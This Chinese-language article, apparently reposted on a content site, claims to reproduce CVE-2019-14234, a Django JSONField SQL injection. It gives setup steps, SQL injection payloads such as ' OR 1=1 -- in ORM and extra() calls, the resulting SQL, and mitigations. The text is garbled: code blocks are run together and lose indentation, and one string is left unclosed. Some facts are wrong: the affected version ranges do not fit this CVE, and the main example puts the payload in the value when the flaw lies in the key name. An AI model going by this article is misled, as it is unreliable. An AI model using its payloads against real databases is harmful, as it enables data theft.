# Django JSONField SQL注入漏洞CVE-2019-14234的復現分析
## 漏洞概述
CVE-2019-14234是Django框架在2019年披露的一個高危SQL注入漏洞,影響使用JSONField/HStoreField的PostgreSQL數據庫場景。該漏洞允許攻擊者通過精心構造的查詢參數繞過Django的SQL注入防護機制,直接執行惡意SQL語句。
### 受影響版本
- Django 1.11.x < 1.11.27
- Django 2.2.x < 2.2.9
- Django 3.0.x < 3.0.1
### 漏洞原理
漏洞源于Django對JSONField鍵名(key)的處理不當。當使用`QuerySet`的`filter()`、`exclude()`等方法時,未正確轉義用戶提供的鍵名參數,導致攻擊者可以注入SQL表達式。
## 環境搭建
### 1. 準備測試環境
```bash
# 使用Docker快速搭建環境
docker run --name django-pg -e POSTGRES_PASSWORD=password -p 5432:5432 -d postgres
pip install django==2.2.8 psycopg2-binary
# models.py
from django.db import models
from django.contrib.postgres.fields import JSONField
class UserData(models.Model):
name = models.CharField(max_length=100)
data = JSONField(default=dict)
python manage.py makemigrations
python manage.py migrate
# 安全查詢
UserData.objects.filter(data__key='value')
# 生成SQL:WHERE "data" -> 'key' = 'value'
# 構造惡意查詢
UserData.objects.filter(data__malicious_key="' OR 1=1 --")
# 實際生成SQL:
# WHERE "data" -> 'malicious_key' = '' OR 1=1 --'
from vuln_app.models import UserData
# 插入測試數據
UserData.objects.create(name='test', data={'secret': '123'})
# 攻擊者構造的惡意輸入
injection = """' = '' OR 1=1) --
malicious_result = UserData.objects.extra(
where=["data::text LIKE '%%%s%%'" % injection]
)
# 將返回所有記錄
print(malicious_result)
漏洞核心在django/contrib/postgres/fields/jsonb.py
中的KeyTransform
類:
class KeyTransform(Transform):
operator = '->'
nested_operator = '#>'
def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name # 未充分過濾的鍵名
Django使用PostgreSQL的->
操作符查詢JSON字段,該操作符的右操作數直接拼接SQL語句:
-- 正常使用
SELECT * FROM table WHERE data->'key' = 'value';
-- 注入場景
SELECT * FROM table WHERE data->'injected' OR 1=1 --' = 'value';
Django在修復版本中做了以下改進:
KeyTransform
的as_sql()
方法嚴格轉義:def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
...
return "(%s %s %%s)" % (lhs, self.operator), params
pip install --upgrade django>=2.2.9
from django.core.exceptions import ValidationError
def validate_json_key(value):
if not re.match(r'^[a-zA-Z0-9_]+$', value):
raise ValidationError('Invalid JSON key name')
# 安全方式
UserData.objects.filter(data__contains={'key': 'value'})
CVE-2019-14234展示了ORM層可能存在的安全隱患,即使是Django這樣成熟的框架也可能在特定功能實現上出現疏漏。這提醒我們:
附錄:相關資源 - Django官方安全公告 - CVE詳細報告 - PostgreSQL JSON函數文檔 “`
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。